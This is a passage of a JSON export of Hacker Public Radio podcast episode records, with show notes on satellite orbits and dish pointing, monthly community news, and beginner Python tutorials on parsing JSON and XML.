                                                            Orbits around Earth matching Earth's sidereal rotation period. 42,164 km (26,199 mi). Sidereal time is a \"time scale that is based on the Earth's rate of rotation measured relative to the fixed stars\" rather than the Sun.\nhttps://en.wikipedia.org/wiki/Sidereal_time

                                                            \n

                                                            Geosynchronous satellites orbit the Earth at the same rate that the Earth rotates. Thus they remain stationary over a single line of longitude. A geostationary satellite will remain in a fixed location as observed from the surface of the earth, allowing a satellite dish to be alligned to it.

                                                            \n

                                                            \"File:Geostationaryjava3D.gif\"

                                                            \n

                                                            High Earth orbit

                                                            \n

                                                            Geocentric orbits above the altitude of geosynchronous orbit 35,786 km (22,240 miles).

                                                            \n

                                                            Polar orbits

                                                            \n

                                                            They are often used for earth-mapping, earth observation, capturing the earth as time passes from one point, reconnaissance satellites, as well as for some weather satellites. The Iridium satellite constellation also uses a polar orbit to provide telecommunications services. The disadvantage to this orbit is that no one spot on the Earth's surface can be sensed continuously from a satellite in a polar orbit.

                                                            \n

                                                            Molniya orbit

                                                            \n

                                                            Orbita was a system that consisted of 3 highly elliptical Molniya satellites, Moscow-based ground uplink facilities and about 20 downlink stations, located in cities and towns of remote regions of Siberia and Far East. Each station had a 12-meter receiving parabolic antenna and transmitters for re-broadcasting TV signal to local householders.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Molniya_orbit

                                                            \n

                                                            \"A

                                                            \n

                                                            https://upload.wikimedia.org/wikipedia/commons/8/82/Orbitalaltitudes.jpg

                                                            \n

                                                            Atmospheric electromagnetic opacity

                                                            \n

                                                            \"Atmospheric

                                                            \n

                                                            Satelites

                                                            \n

                                                            Sputnik 1

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sputnik_1

                                                            \n

                                                            Sputnik 1 was the first artificial Earth satellite. The Soviet Union launched it into an elliptical low Earth orbit on October 4, 1957. It was a 58 cm (23 in) diameter polished metal sphere, with four external radio antennae to broadcast radio pulses. It was visible all around the Earth and its radio pulses were detectable. This surprise success precipitated the American Sputnik crisis and triggered the Space Race, a part of the larger Cold War. The launch ushered in new political, military, technological, and scientific developments.

                                                            \n

                                                            ProtoStar II Mission Overview

                                                            \n

                                                            https://www.ilslaunch.com/sites/default/files/pdf/A2G_MO.pdf

                                                            \n

                                                            ASTRA 2G SATELLITE MISSION

                                                            \n

                                                            ASTRA 2G is the third spacecraft of a three satellite investment programme (ASTRA 2E, 2F and 2G) that SES contracted with Airbus Defence and Space in order to provide replacement as well as incremental satellite capacity in the orbital arc of 28.2/28.5 degrees East.

                                                            \n

                                                            ASTRA 2G carries 62 Ku-band transponders as well as 4 Ka-band transponders. The different beams provide coverage over the UK and Ireland, Europe and West Africa.

                                                            \n

                                                            \"The

                                                            \n

                                                            https://www.ses.com/4628824/astra-2g

                                                            \n

                                                            Components of a Communications Satelites

                                                            \n
                                                              \n
                                                            • Rocket motors
                                                            • \n
                                                            • Fuel tanks
                                                            • \n
                                                            • Solar panels
                                                            • \n
                                                            • Batteries
                                                            • \n
                                                            • Computer
                                                            • \n
                                                            • Antennas and transceivers/transponders
                                                            • \n
                                                            \n

                                                            https://en.wikipedia.org/wiki/Transponder_%28satellite_communications%29

                                                            \n

                                                            The word \"transponder\" is derived from the words \"transmitter\" and \"responder.\"

                                                            \n

                                                            A communications satellite's transponder is the series of interconnected units that form a communications channel between the receiving and the transmitting antennas. It is mainly used in satellite communication to transfer the received signals.

                                                            \n

                                                            A transponder is typically composed of

                                                            \n
                                                              \n
                                                            • An input band limiting device (a band pass filter)
                                                            • \n
                                                            • An input low-noise amplifier (LNA), designed to amplify the (normally very weak, because of the large distances involved) signals received from the earth station
                                                            • \n
                                                            • A frequency translator (normally composed of an oscillator and a frequency mixer) used to convert the frequency of the received signal to the frequency required for the transmitted signal
                                                            • \n
                                                            • An output band pass filter
                                                            • \n
                                                            • A power amplifier (this can be a traveling-wave tube or a solid state amplifier)
                                                            • \n
                                                            \n

                                                            https://www.jsati.com/why-satellite-how-Spacesegment4.asp

                                                            \n

                                                            Boeing commercial communications satellites geosynchronous orbit

                                                            \n

                                                            \"boeing

                                                            \n

                                                            https://www.boeingimages.com/Docs/BOE/Media/TR3_WATERMARKED/1/a/2/a/BI231995.jpg

                                                            \n

                                                            Finding Astra 28.2E

                                                            \n

                                                            This is one of the many sites that will give you a birds eye view of where you need to point your dish.

                                                            \n

                                                            https://www.dishpointer.com/

                                                            \n

                                                            Terms needed when pointing a dish

                                                            \n

                                                            \"The

                                                            \n

                                                            https://commons.wikimedia.org/wiki/File:Azimut_altitude.svg

                                                            \n

                                                            \"screen

                                                            \n

                                                            The Dish, on Kens Roof.

                                                            \n

                                                            \"Ken

                                                            \n

                                                            Reading the elevation from the dish assembley.

                                                            \n

                                                            \"\"/

                                                            \n

                                                            FreeSat

                                                            \n

                                                            Freesat is broadcast from the same satellites (Astra 28.2E and Eurobird 1) as Sky Digital.

                                                            \n

                                                            This is a list of all of the free-to-air channels that are currently available via satellite from SES Astra satellites (Astra 2E/2F/2G) located at 28.2 °E.

                                                            \n

                                                            https://en.wikipedia.org/wiki/List_of_free-to-air_channels_at_28%C2%B0E

                                                            \n

                                                            Here is a link to a page on how to get mythtv working with FreeSat.

                                                            \n

                                                            https://parker1.co.uk/mythtv_freesat.php

                                                            \n","hostid":30,"series":83,"explicit":1,"license":"CC-BY-SA","tags":"procrastination,orbit,satellite,satellite dish","version":0,"downloads":0,"valid":1}, {"id":2001,"date":"2016-04-04","title":"HPR Community News for March 2016","duration":5317,"summary":"HPR Community News for March 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Brian in Ohio, \n noplacelikeslashhome.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1977Tue2016-03-01What's In My Bagm1rr0r5h4d35
                                                            1978Wed2016-03-02Ultra High Vacuum: loading samplesAmunizp
                                                            1979Thu2016-03-03How to Make Perfect Steel-Cut OatsJon Kulp
                                                            1980Fri2016-03-04Fixing An Audio Problem while having a rantMrX
                                                            1981Mon2016-03-07HPR Community News for February 2016HPR Volunteers
                                                            1982Tue2016-03-08Whats in my virtual bagNacho Jordi
                                                            1983Wed2016-03-09Review of Sony Vaio VPCswift110
                                                            1984Thu2016-03-10A Love Letter to linux.conf.auClinton Roy
                                                            1985Fri2016-03-11Fixing Bug 1092571Ken Fallon
                                                            1986Mon2016-03-14Introduction to sed - part 2Dave Morriss
                                                            1987Tue2016-03-15Pomodoro Timer - The Evolution of a Script (pt 1)Nacho Jordi
                                                            1988Wed2016-03-16Linux from ScratchBrian in Ohio
                                                            1989Thu2016-03-17WDTV Makes Me ItchEpicanis
                                                            1990Fri2016-03-18Pomodoro Timer - The Evolution of a Script part deuxNacho Jordi
                                                            1991Mon2016-03-21Adventures installing Linux on an Asus EeeBook X205AMr. Young
                                                            1992Tue2016-03-22How I'm handling my podcast-subscriptions and -listeningfolky
                                                            1993Wed2016-03-23Can your window manager do this?Nacho Jordi
                                                            1994Thu2016-03-24Truck Repair: Serpentine Belt ReplacementJon Kulp
                                                            1995Fri2016-03-25Cov's JamsCov
                                                            1996Mon2016-03-28Xdotool magicNacho Jordi
                                                            1997Tue2016-03-29Introduction to sed - part 3Dave Morriss
                                                            1998Wed2016-03-30Homebrewingm1rr0r5h4d35
                                                            1999Thu2016-03-31How I record a full band under Linuxnoplacelikeslashhome
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ivan Privaci <epicanis+hpr@...>
                                                              \n Date: 2016-03-03 14:08:46 -0500
                                                              \n Subject: The Robo-Summary Voice
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1131
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Ivan Privaci <epicanis+hpr@...>
                                                              \n Date: 2016-03-03 14:18:39 -0500
                                                              \n Subject: (sigh) never mind (espeak voice question)
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1132
                                                              \n Messages: 1

                                                            4. \n
                                                            5. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-03-03 20:58:42 UTC
                                                              \n Subject: HPR Community News - next Saturday on 2016-03-05T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1133
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: "Christopher \\"Cov\\" Covington" <cov@...>
                                                              \n Date: 2016-03-11 13:49:41 +0700
                                                              \n Subject: libravatar
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1134
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-03-20 19:23:09 +0100
                                                              \n Subject: Help to fix audio
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1136
                                                              \n Messages: 5

                                                            10. \n
                                                            11. From: Nigel Verity <nigelverity@...>
                                                              \n Date: 2016-03-20 21:08:34 UTC
                                                              \n Subject: Re: Hpr Digest, Vol 90, Issue 5 - RMS Audio
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1137
                                                              \n Messages: 17
                                                            12. \n
                                                            \nTotal messages this month: 26
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 29 comments:

                                                            \n
                                                              \n
                                                            • hpr1727\n(2015-03-17) \"Basic Mutt\"\nby Frank Bell.\n
                                                              • Comment 4:\nLeslie Satenstein on 2016-03-13:\n\"Retired \"
                                                              • Comment 5:\nFrank on 2016-03-14:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1934\n(2015-12-31) \"Experiencing the Meegopad T-02 Part two\"\nby A Shadowy Figure.\n
                                                              • Comment 9:\nStilvoid on 2016-03-10:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1943\n(2016-01-13) \"HPR AudioBook Club 11.5 - Interview with David Collins-Rivera\"\nby HPR_AudioBookClub.\n
                                                              • Comment 1:\nDavid L. Willson on 2016-03-15:\n\"Firefly\"
                                                              • \n

                                                            • \n
                                                            • hpr1972\n(2016-02-23) \"How I got into Linux\"\nby m1rr0r5h4d35.\n
                                                              • Comment 2:\nm1rr0r5h4d35 on 2016-03-02:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr1973\n(2016-02-24) \"Free/Libre/Vrije Software: The Goal and the Path\"\nby Ken Fallon.\n
                                                              • Comment 3:\nCharles in NJ on 2016-03-21:\n\"Does FSF Have an Original?\"
                                                              • Comment 4:\nKen Fallon on 2016-03-22:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1976\n(2016-02-29) \"Introduction to sed - part 1\"\nby Dave Morriss.\n
                                                              • Comment 1:\nGan Ainm on 2016-03-18:\n\"Another great sed resource\"
                                                              • Comment 2:\nDave Morriss on 2016-03-21:\n\"Thanks for this\"
                                                              • \n

                                                            • \n
                                                            • hpr1978\n(2016-03-02) \"Ultra High Vacuum: loading samples\"\nby Amunizp.\n
                                                              • Comment 1:\namunizp on 2016-02-26:\n\"Wrong audio\"
                                                              • \n

                                                            • \n
                                                            • hpr1979\n(2016-03-03) \"How to Make Perfect Steel-Cut Oats\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2016-03-03:\n\"Interesting episode\"
                                                              • Comment 2:\nJon Kulp on 2016-03-03:\n\"Slow-Cooker Size\"
                                                              • Comment 3:\nDave Morriss on 2016-03-03:\n\"The way of the oat\"
                                                              • \n

                                                            • \n
                                                            • hpr1981\n(2016-03-07) \"HPR Community News for February 2016\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nfolky on 2016-03-08:\n\"Change the name\"
                                                              • Comment 2:\njezra on 2016-03-17:\n\"chicken coop?\"
                                                              • \n

                                                            • \n
                                                            • hpr1983\n(2016-03-09) \"Review of Sony Vaio VPC\"\nby swift110.\n
                                                              • Comment 1:\naoskfla on 2016-03-10:\n\"Boop\"
                                                              • Comment 2:\nm1rr0r5h4d35 on 2016-03-19:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1985\n(2016-03-11) \"Fixing Bug 1092571\"\nby Ken Fallon.\n
                                                              • Comment 1:\nFrank on 2016-03-11:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1987\n(2016-03-15) \"Pomodoro Timer - The Evolution of a Script (pt 1)\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nFrank on 2016-03-17:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1988\n(2016-03-16) \"Linux from Scratch\"\nby Brian in Ohio.\n
                                                              • Comment 1:\nEpicanis on 2016-03-16:\n\"Great topic, thanks!\"
                                                              • \n

                                                            • \n
                                                            • hpr1989\n(2016-03-17) \"WDTV Makes Me Itch\"\nby Epicanis.\n
                                                              • Comment 1:\nMr. Young on 2016-03-17:\n\"Brilliant show\"
                                                              • Comment 2:\nJonathan Kulp on 2016-03-18:\n\"Nice kiosk idea\"
                                                              • Comment 3:\nEpicanis on 2016-03-21:\n\"Thanks, all!\"
                                                              • \n

                                                            • \n
                                                            • hpr1992\n(2016-03-22) \"How I'm handling my podcast-subscriptions and -listening\"\nby folky.\n
                                                              • Comment 1:\nbjorn again on 2016-03-25:\n\"thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr1994\n(2016-03-24) \"Truck Repair: Serpentine Belt Replacement\"\nby Jon Kulp.\n
                                                              • Comment 1:\nbrian on 2016-03-25:\n\"two thoughts while still listening\"
                                                              • Comment 2:\nJonathan Kulp on 2016-03-25:\n\"Genius\"
                                                              • \n

                                                            • \n
                                                            • hpr1997\n(2016-03-29) \"Introduction to sed - part 3\"\nby Dave Morriss.\n
                                                              • Comment 1:\nMike Ray on 2016-03-28:\n\"Knockout Episode\"
                                                              • Comment 2:\nDave Morriss on 2016-03-29:\n\"Careful what you wish for!\"
                                                              • \n

                                                            • \n
                                                            • hpr1998\n(2016-03-30) \"Homebrewing\"\nby m1rr0r5h4d35.\n
                                                              • Comment 1:\nFrank on 2016-03-30:\"[no title]\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2002,"date":"2016-04-05","title":"Just got a Raspberry Pi Zero","duration":810,"summary":"Excited about having a Raspberry Pi Zero","notes":"

                                                            https://anthonyvenable110.wordpress.com

                                                            ","hostid":297,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"raspberry pi","version":0,"downloads":0,"valid":1}, {"id":2003,"date":"2016-04-06","title":"Using the Incron file watching daemon","duration":698,"summary":"I briefly introduce the incron file watching daemon, and give an example of how I use it.","notes":"

                                                            Using the Incron file watching daemon

                                                            \n
                                                            \n

                                                            Check out the man page for incron and also this write-up by Nixcraft.

                                                            \n
                                                            \n

                                                            basic usage:

                                                            \n

                                                            incrontab -e

                                                            \n

                                                            In your editor of choice, follow this syntax:

                                                            \n

                                                            <path-to-watch> <event mask> command

                                                            \n\n\n

                                                            Links

                                                            \n","hostid":300,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"incron,bash,watcher,daemon","version":0,"downloads":0,"valid":1}, {"id":2004,"date":"2016-04-07","title":"A First Look at the Owon B35T","duration":2167,"summary":"You are along for the ride as NYbill takes his first look at another inexpensive multimeter.","notes":"

                                                            You are along for the ride as NYbill takes his first look at another inexpensive Multimeter.

                                                            \n

                                                            This is part 1 of a quick look at the Owon B35T True RMS multimeter with Bluetooth.

                                                            \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"multimeter,Bluetooth,RMS","version":0,"downloads":0,"valid":1}, {"id":2005,"date":"2016-04-08","title":"How I prepare and record my HPR Kdenlive voiceover shows.","duration":977,"summary":"My preparation and recording workflow.","notes":"

                                                            \nHi HPR listeners this is an episode on how I prepare and record the voice over narrations of the Kdenlive article series of which I’ve produced two so far. I run through how I prepare the text for spoken delivery, how I record the article and the hardware gear and software I use. Below are some shots of my recording gear mentioned in the show.\n

                                                            \n\n\n

                                                            AT2020

                                                            \n\"AT2020\"\n\n

                                                            Lexicon

                                                            \n\"Lexicon\"\n\n

                                                            SM58

                                                            \n\"SM58\"\n\n

                                                            Soundcraft

                                                            \n\"Soundcraft\"\n\n

                                                            SRH440

                                                            \n\"SRH440\"\n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"microphone,mixer,headphone","version":0,"downloads":0,"valid":1}, {"id":2006,"date":"2016-04-11","title":"Basic Audio Production - Compression","duration":1927,"summary":"Yet another explanation of sound compression in a DAW","notes":"","hostid":323,"series":45,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Compression, Ardour, Audacity, Podcasts, Recording","version":0,"downloads":0,"valid":1}, {"id":2007,"date":"2016-04-12","title":"My new laptop","duration":1042,"summary":"I won an Entroware laptop at OggCamp 2015. I talk about it here","notes":"

                                                            My new laptop

                                                            \n

                                                            I attended OggCamp15 in Liverpool at the end of October 2015. As usual I bought some raffle tickets as a contribution to the expenses of the (un-)conference, not paying much attention to the prizes.

                                                            \n

                                                            Actually, the star prize was a laptop donated by Entroware, a significant sponsor of the event, one of the most impressive prizes ever offered at OggCamp. There was quite a lot of excitement about this prize.

                                                            \n

                                                            I attended the drawing of the raffle at the end of proceedings on the Sunday. Dan Lynch (of Linux Outlaws, and a frequent organiser of OggCamp) was in attendance overseeing the selection of the raffle tickets. Various smaller prizes were won and the tension built up as the final drawing approached.

                                                            \n

                                                            Things got very tense when the first number drawn for the laptop was called and nobody responded. Then another draw was made.

                                                            \n

                                                            Imagine my shock and surprise when I realised I had the winning ticket! I had won the star prize in the OggCamp raffle!

                                                            \n

                                                            Follow this link to see the full show notes for the details of the laptop.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"laptop, Ubuntu, OggCamp, entroware","version":0,"downloads":0,"valid":1}, {"id":2008,"date":"2016-04-13","title":"HPR needs shows to survive.","duration":1180,"summary":"Do not listen to this show. Record one instead.","notes":"

                                                            \nYou can help out the Hacker Public Radio project by recording a show today.
                                                            \nSee https://hackerpublicradio.org/contribute.php for more information.\n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR,community,shows,call to action,contribute","version":0,"downloads":0,"valid":1}, {"id":2009,"date":"2016-04-14","title":"Understanding the GNU/Screen Hardstatus line","duration":1518,"summary":"CPrompt talks about how he configured his GNU/Screen to suit his needs.","notes":"

                                                            Links

                                                            \n

                                                            \nhttps://github.com/CPrompt/configs/blob/master/.screenrc (CPrompt's .screenrc file)\n
                                                            \nhttps://www.gnu.org/software/screen/manual/html_node/String-Escapes.html (GNU Man page on String Escapes)\n

                                                            ","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"GNU/Screen,.screenrc,terminal multiplexer","version":0,"downloads":0,"valid":1}, {"id":2010,"date":"2016-04-15","title":"Parsing JSON with Python","duration":731,"summary":"How to parse JSON with Python","notes":"

                                                            JSON is a popular way of storing data in a key/value type arrangement so that the data can be parsed easily later. For instance, here is a very simple JSON snippet:

                                                            \n
                                                            {\n"name":"tux",\n"health":"23",\n"level":"4"\n}
                                                            \n

                                                            If you are like me, three questions probably spring to your mind:

                                                            \n
                                                              \n
                                                            1. That looks an awful lot like a Python dictionary.

                                                              \n

                                                              Yes, it looks exactly like a Python dictionary. They are shockingly similar. If you are comfortable with Python lists and dictionaries, you will feel right at home with JSON.

                                                            2. \n
                                                            3. I don't feel comfortable with dictionaries, can't I just use a delimited text file?

                                                              \n

                                                              You can, but you will have to write parsers for it yourself. If your data gets very complex, the parsing can get pretty ugly.

                                                              \n

                                                              That is not to say that you should not use a simple delimited text file if that is all that your programme needs. For example, I would not want to open a config file as a user and find that I have to format all my options as valid JSON.

                                                              \n

                                                              Just know that JSON is out there and available, and that the JSON Python module has some little features that make your life easier when dealing with sets of data.

                                                            4. \n
                                                            5. Why not use XML instead?

                                                              \n

                                                              You can. Mostly one should use the most appropriate format for one's project. I'm a big fan of XML, but sometimes JSON makes more sense.

                                                            6. \n
                                                            \n

                                                            I am not going to make this post about teaching the JSON format. If you need clarification on how to structure data into JSON, go through a tutorial on it somewhere; there are several good ones online. Honestly, it's not that complex; you can think of JSON as nested dictionaries.

                                                            \n

                                                            Starting from scratch, let's say that you write a programme that by nature gathers data as it runs. When the user quits, you want to save the data to a file so that when the user resumes the app later, they can load the file back in and pick up where they left off.

                                                            \n

                                                            Storing Data as JSON

                                                            \n

                                                            At its most basic, the JSON data structure is basically the same as a Python dictionary, and in fact the nice thing about JSON is that it can be directly imported into a Python dictionary. Usually, however, you are resorting to JSON because you have somewhat complex data, so in the sample code we will use a dictionary-within-a-dictionary:

                                                            \n
                                                            #!/usr/bin/env python\n\ngame = {'tux': {'health': 23, 'level': 4}, 'beastie': {'health': 13, 'level': 6}}\n# you can always add more to your dictionary\n\ngame['konqi'] = {'health': 18, 'level': 7}
                                                            \n

                                                            That code creates a ditionary called game which stores the player name and a corresponding dictionary of attributes about how the player is doing in the progress of the game. As you can see after the comment, adding new players is simple.

                                                            \n

                                                            Now let's see how to save that data to a save file.

                                                            \n
                                                            ## continued...\nimport json\n\nwith open('dosiero.json', 'w') as outfile:\n    json.dump(game, outfile)
                                                            \n

                                                            That would be your save command. Simple as that, all the structured content of your game dictionary is committed to a file on your hard drive.

                                                            \n

                                                            Reading Data from a JSON File

                                                            \n

                                                            If you are saving data to JSON, you probably will evenually want to read the data back into Python. For this, Python features the function json.load

                                                            \n
                                                            import json\n\ndosiero = open('dosiero.json')\ngame = json.load(dosiero)\n\nprint game['tux']     # prints {'health': 23, 'level': 4}\nprint game['tux']['health']    # prints 23\nprint game['tux']['level']     # prints 4\n\n# when finished, close the file\n\njson_data.close()
                                                            \n

                                                            As you can see, JSON integrates surprisingly well with Python, so it's a great format when your data fits in with its model.

                                                            \n

                                                            Have fun!

                                                            \n

                                                            [EOF]

                                                            \n

                                                            Made with Free Software.

                                                            \n","hostid":78,"series":38,"explicit":0,"license":"CC-BY-SA","tags":"Python,dictionary,JSON","version":0,"downloads":0,"valid":1}, {"id":2011,"date":"2016-04-18","title":"Introduction to sed - part 4","duration":2858,"summary":"How sed really works. Less frequently used sed commands","notes":"

                                                            Introduction to sed - part 4

                                                            \n

                                                            In the last episode we looked at some of the more frequently used sed commands, having spent previous episodes looking at the s command, and we also covered the concept of line addressing.

                                                            \n

                                                            In this episode we will look at how sed really works in all the gory details, examine some of the remaining sed commands and begin to build useful sed programs.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":90,"explicit":1,"license":"CC-BY-SA","tags":"sed,stream editor,pattern space,hold space","version":0,"downloads":0,"valid":1}, {"id":2012,"date":"2016-04-19","title":"Parsing XML in Python with Untangle","duration":1262,"summary":"A quick introduction to Untangle, an XML parser for Python.","notes":"

                                                            XML is a popular way of storing data in a hierarchical arrangement so that the data can be parsed later. For instance, here is a simple XML snippet:

                                                            \n
                                                            <?xml version="1.0"?>\n<book>\n   <chapter id="prologue">\n      <title>\n     The Beginning\n </title>\n   </chapter>\n</book>
                                                            \n

                                                            The nice thing about XML is that it is explicit and strictly structured. The trade-off is that it's pretty verbose, and getting to where you want to go often requires fairly complex navigation.

                                                            \n

                                                            If you do a quick search online for XML parsing in Python, your two most common results are lxml and beautifulsoup. These both work, but using them feels less like opening a dictionary (as with JSON) to look up a definition and more like wandering through a library to gather up all the dictionaries you can possibly find.

                                                            \n

                                                            In JSON, the thought process might be something like:

                                                            \n

                                                            "Go to the first chapter's title and print the contents."

                                                            \n

                                                            With traditional XML tools, it's more like:

                                                            \n

                                                            "Open the book element and gather all instances of titles that fall within those chapters. Then, look into the resulting object and print the contents of the first occurrence."

                                                            \n

                                                            There are at least two libaries that you can install and use to bring some sanity to complex XML structures, one of which is untangle.

                                                            \n

                                                            Untangle

                                                            \n

                                                            With untangle, each element in an XML document gets converted into a class, which you can then probe for information. Makes no sense? well, follow along and it will become clear:

                                                            \n

                                                            First, ingest the XML document. Assuming it's called sample.xml and is located in the current directory:

                                                            \n
                                                            >>> import untangled\n>>> data = untangle.parse('sample.xml')
                                                            \n

                                                            Now our simple XML sample is sitting in RAM, as a Python class. The first element is <book> and all it contains is more elements, so its results are not terribly exciting:

                                                            \n
                                                            >>> data.book\nElement(name = book, attributes = {}, cdata = )
                                                            \n

                                                            As you can see, it does identify itself as "book" (under the name listing) but otherwise, not much to look at. That's OK, we can keep drilling down:

                                                            \n
                                                            >>> data.book.chapter\nElement(name = chapter, attributes = {'id': 'prologue'}, cdata = )
                                                            \n

                                                            Now things get more interesting. The next element identifies itself as "chapter", and reveals that it has an attribute "id" which has a value of "prologue". To continue down this path:

                                                            \n
                                                            >>> data.book.chapter.title\nElement(name = title, attributes = {}, cdata = The Beginning )
                                                            \n

                                                            And now we have a pretty complete picture of our little XML document. We have a breadcrumb trail of where we are in the form of the class we are invoking (data.book.chapter.title) and we have the contents of our current position.

                                                            \n

                                                            Sniping

                                                            \n

                                                            That's very linear; if you know your XML schema (and you usually do, since XML is quite strict) then you can grab values without all the walking. For instance, we know that our chapters have 'id' attributes, so we can ask for exactly that:

                                                            \n
                                                            >>> data.book.chapter['id']\n'prologue'
                                                            \n

                                                            You can also get the contents of elements by looking at the cdata component of the class. Depending on the formatting of your document, untangle may be a little too literal with how it stores contents of elements, so you may want to use .strip() to prettify it:

                                                            \n
                                                            >>> data.book.chapter.title.cdata.strip()\n'The Beginning'
                                                            \n

                                                            Dealing with More Than One Element

                                                            \n

                                                            My example so far is nice and tidy, with only one chapter in the book. Generally you'll be dealing with more data than that. Let's add another chapter to our sample file, and some content to each:

                                                            \n
                                                            <?xml version="1.0"?>\n<book>\n   <chapter id="prologue">\n      <title>\n     The Beginning\n  </title>\n      <para>\n     This is the first paragraph.\n      </para>\n    </chapter>\n\n    <chapter id="end">\n      <title>\n     The Ending\n  </title>\n      <para>\n     Last para of last chapter.\n      </para>\n    </chapter>\n</book>
                                                            \n

                                                            Accessing each chapter is done with index designations, just like with a dict:

                                                            \n
                                                            >>> data.book.chapter[0]\nElement(name = chapter, attributes = {'id': 'prologue'}, cdata = )\n>>> data.book.chapter[1]\nElement(name = chapter, attributes = {'id': 'end'}, cdata = )
                                                            \n

                                                            If there is more than one instance of a tag, you must use a designator or else untangle won't know what to return. For example, if we want to access either the title or para elements within a chapter:

                                                            \n
                                                            >>> data.book.chapter.title\nTraceback (most recent call last):\nFile "<stdin>", line 1, in <module>\nAttributeError: 'list' object has no attribute 'title'
                                                            \n

                                                            Oops. But if we tell it which one to look at:

                                                            \n
                                                            >>> data.book.chapter[0].title.cdata.strip()\n'The Beginning'\n>>> data.book.chapter[1].title.cdata.strip()\n'The Ending'
                                                            \n

                                                            Or you can look at the paragraph instead of the title. The lineage is the same, only instead of looking at the title child, you look at the para child:

                                                            \n
                                                            >>> data.book.chapter[0].para.cdata.strip()\n'This is the first paragraph.'\n>>> data.book.chapter[1].para.cdata.strip()\n'Last para of last chapter.'
                                                            \n

                                                            You can also iterate over items:

                                                            \n
                                                            >>> COUNT = [0,1]\n>>> for TICK in COUNT:\n...     print(data.book.chapter[TICK])\nElement <chapter> with attributes {'id': 'prologue'} and children\n[Element(name = title, attributes = {}, cdata = The Beginning ),\nElement(name = para, attributes = {}, cdata = This is the first paragraph.)]\n\nElement <chapter> with attributes {'id': 'end'} and children\n[Element(name = title, attributes = {}, cdata = The Ending ),\nElement(name = para, attributes = {}, cdata = Last para of last chapter.)]
                                                            \n

                                                            And so on.

                                                            \n

                                                            Easy and Fast

                                                            \n

                                                            I'll admit the data structure of the classes does look odd, and you could probably argue it's not the cleanest and most elegant of all output; it's unnerving to see empty cdata fields or to constantly run into the need to strip() whitespace. However, the ease and speed and intuitiveness of parsing XML with untangle is usually well worth any trade-offs.

                                                            \n

                                                            [EOF]

                                                            \n

                                                            Made on Free Software.

                                                            \n","hostid":78,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"python, parse, xml","version":0,"downloads":0,"valid":1}, {"id":2013,"date":"2016-04-20","title":"Parsing XML in Python with Xmltodict","duration":849,"summary":"A quick introduction to xmltodict, an XML parser for Python.","notes":"

                                                            \nIf Untangle is too simple for your XML parsing needs, check out xmltodict. Like untangle, xmltodict is simpler than the usual suspects (lxml, beautiful soup), but it's got some advanced features as well.\n

                                                            \n

                                                            If you're reading this article, I assume you've read at least the introduction to my article about Untangle, and you should probably also read, at some point, my article on using JSON just so you know your options.

                                                            \n

                                                            Quick re-cap about XML:

                                                            \n

